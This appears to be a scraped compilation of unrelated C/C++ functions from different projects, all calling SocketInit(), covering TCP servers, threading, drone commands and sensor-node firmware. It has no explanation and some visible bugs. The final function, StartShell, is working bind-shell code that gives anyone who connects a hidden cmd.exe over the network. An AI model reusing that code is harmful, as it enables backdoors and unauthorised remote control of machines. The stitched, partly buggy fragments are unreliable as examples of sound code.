TcpTransport::TcpTransport(std::map<std::string, std::string>& config) :m_sfd(0), m_state(CLIENT_STATE_UNINIT), m_pRecvBuf(NULL), m_recvBufSize(DEFAULT_RECV_BUFFER_SIZE), m_recvBufUsed(0), m_shrinkMax(DEFAULT_RECV_BUFFER_SIZE) ,m_shrinkCheckCnt(DEFAULT_SHRINK_COUNT) { std::map<std::string, std::string>::iterator it = config.find("tcp.transport.recvBufferSize"); if (it != config.end()) { m_recvBufSize = atoi(it->second.c_str()); } it = config.find("tcp.transport.shrinkCheckMax"); if (it != config.end()) { m_shrinkCheckCnt = atoi(it->second.c_str()); } if (SocketInit() != 0) { m_state = CLIENT_STATE_UNINIT; } m_pRecvBuf = (char*)malloc(m_recvBufSize); m_state = (NULL == m_pRecvBuf) ? CLIENT_STATE_UNINIT : CLIENT_STATE_INITED; }
static void createAndBindSocket(struct _TServer * const srvP) { abyss_bool success; success = SocketInit(); if (!success) TraceMsg("Can't initialize TCP sockets"); else { TSocket * socketP; SocketUnixCreate(&socketP); if (!socketP) TraceMsg("Can't create a socket"); else { abyss_bool success; success = SocketBind(socketP, NULL, srvP->port); if (!success) TraceMsg("Failed to bind listening socket to port number %u", srvP->port); else { srvP->weCreatedListenSocket = TRUE; srvP->socketBound = TRUE; srvP->listenSocketP = socketP; } if (!success) SocketDestroy(socketP); } } }
int _Socket_ProcessThread( ) { HANDLE hSocketCommandReceiverThread; HANDLE hSocketImageSenderThread; char* ipClient; int res = SocketInit ( ); if ( res ) return res; hSocketCommandReceiverThread = NULL; hSocketImageSenderThread = NULL; hSocketCommandReceiverThread = CreateThread(NULL,0,Socket_CommandReceiver,0,NULL,NULL); hSocketImageSenderThread = CreateThread(NULL,0,Socket_ImageSender,0,NULL,NULL); m_hSocketImageReadyEvent = CreateEvent(NULL,TRUE,FALSE,NULL); if ( hSocketCommandReceiverThread!= NULL ) { WaitForSingleObject(hSocketCommandReceiverThread,INFINITE); CloseHandle(hSocketCommandReceiverThread); } if ( hSocketImageSenderThread!= NULL ) { WaitForSingleObject(hSocketImageSenderThread,INFINITE); CloseHandle(hSocketImageSenderThread); } if ( m_hSocketImageReadyEvent != NULL ) { WaitForSingleObject(m_hSocketImageReadyEvent,INFINITE); CloseHandle(m_hSocketImageReadyEvent); } SocketUnInit(); }
void ServerNetInit(TServer *srv) { /* sanity */ if (!srv) { return; } if( srv->port == 0 ) { srv->listensock.fd = -1; return; } /********* Must check errors from these functions *************/ if (!SocketInit()) TraceExit("Can't initialize TCP sockets\n");; if (!SocketCreate(&srv->listensock)) TraceExit("Can't create a socket\n");; if (!SocketBind(&srv->listensock,NULL,srv->port)) TraceExit("Can't bind\n"); if (!SocketListen(&srv->listensock,srv->max_conn)) TraceExit("Can't listen\n"); }
int _Socket_ProcessThread( ) { int res = SocketInit ( ); if ( !res ) return res; while ( 1 ) { mutex_lock(&socket_mutex); if ( socket_buf=="takeoff" || socket_buf=="landing" || socket_buf=="hovering" || socket_buf.find("flying") ) { sendto(svr,socket_buf.c_str(),strlen(socket_buf.c_str())+1,0,(sockaddr*)&addrSvr,len); } mutex_unlock(&socket_mutex); } SocketUnInit(); }
int main(){ TOSH_SET_PIN_DIRECTIONS(); initScheduling(); thread_init(); currentuse = 0; printString("Start!\n"); sei(); mystrncpy(networkid, "sn03\0", 5); nodeid = 3; mystrncpy(filenameid, "nodeA\0", 6); TimerM_StdControl_init(); AMStandard_Control_init(); AMStandard_Control_start(); SocketInit(); currentMsg = 0; packetReadingNumber = 0; readingNumber = 0; nextindex = 0; CURRENT_NODE_ID = 17; //add end //line 39 //Timer_start(2,REPEAT ,15000*MILLISECOND); //TimerM_Timer_start(15, TIMER_REPEAT, 5000*MILLISECOND); //line 40 //Timer_start(1,REPEAT,1*MINUTE); initRadioHandle(); CC2420ControlM_CC2420Control_TuneChannel(15); CC2420ControlM_CC2420Control_TunePower( 31) ; __nesc_enable_interrupt(); while (1) { runNextTask(); } return 0; }
BOOL StartShell(UINT uPort){ if (!SocketInit()) { return FALSE; } SOCKET m_ListenSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (m_ListenSock == INVALID_SOCKET) { return FALSE; } sockaddr_in sServer = { 0 }; sServer.sin_family = AF_INET; sServer.sin_addr.s_addr = htonl(INADDR_ANY); sServer.sin_port = htons(uPort); if (bind(m_ListenSock, (sockaddr *)&sServer, sizeof(sServer)) == SOCKET_ERROR) { return FALSE; } if (listen(m_ListenSock, 5) == SOCKET_ERROR) { return FALSE; } SOCKET m_AcceptSock = accept(m_ListenSock, NULL, NULL); /////////////////////////////////////////////////////////////// // Create Pipe; CThreadNode m_ReadNode, m_WriteNode; STARTUPINFO si = { 0 }; si.cb = sizeof(STARTUPINFO); PROCESS_INFORMATION pi = { 0 }; DWORD dwThreadRead = 0, dwThreadWrite = 0; HANDLE hReadPipe1 = NULL, hWritePipe1 = NULL; // Input the command; HANDLE hReadPipe2 = NULL, hWritePipe2 = NULL; // Get the command results; HANDLE hThreadOutput = NULL, hThreadInput = NULL; SECURITY_ATTRIBUTES sa = { 0 }; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = NULL; sa.bInheritHandle = TRUE; //创建匿名管道,用于本进程和cmd.exe进程进行通信,执行的命令传给cmd(管道1)和获取cmd的输出(管道2) if (!CreatePipe(&hReadPipe1, &hWritePipe1, &sa, 0) || !CreatePipe(&hReadPipe2, &hWritePipe2, &sa, 0)) { return FALSE; } m_ReadNode.m_Sock = m_WriteNode.m_Sock = m_AcceptSock; GetStartupInfo(&si); si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; si.hStdInput = hReadPipe1;//将输入和输入导向到管道 si.hStdOutput = si.hStdError = hWritePipe2; si.wShowWindow = SW_HIDE; TCHAR szCmdLine[MAX_PATH] = { 0 }; GetSystemDirectory(szCmdLine, MAX_PATH);//Result: C:\windows\system32 _tcscat_s(szCmdLine, MAX_PATH, _T("\\cmd.exe")); //开启cmd进程 if (!CreateProcess(szCmdLine, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) { return FALSE; } //创建进程后,创建读、写数据线程 m_ReadNode.hPipe = hReadPipe2; hThreadOutput = CreateThread(NULL, 0, ThreadOutputProc, &m_ReadNode, 0, &dwThreadWrite); m_WriteNode.hPipe = hWritePipe1; hThreadInput = CreateThread(NULL, 0, ThreadInputProc, &m_WriteNode, 0, &dwThreadRead); HANDLE szHandles[] = { hThreadOutput, hThreadInput }; WaitForMultipleObjects(2, szHandles, TRUE, INFINITE);//主线程必须等待这两个子线程退出才退出 return TRUE; }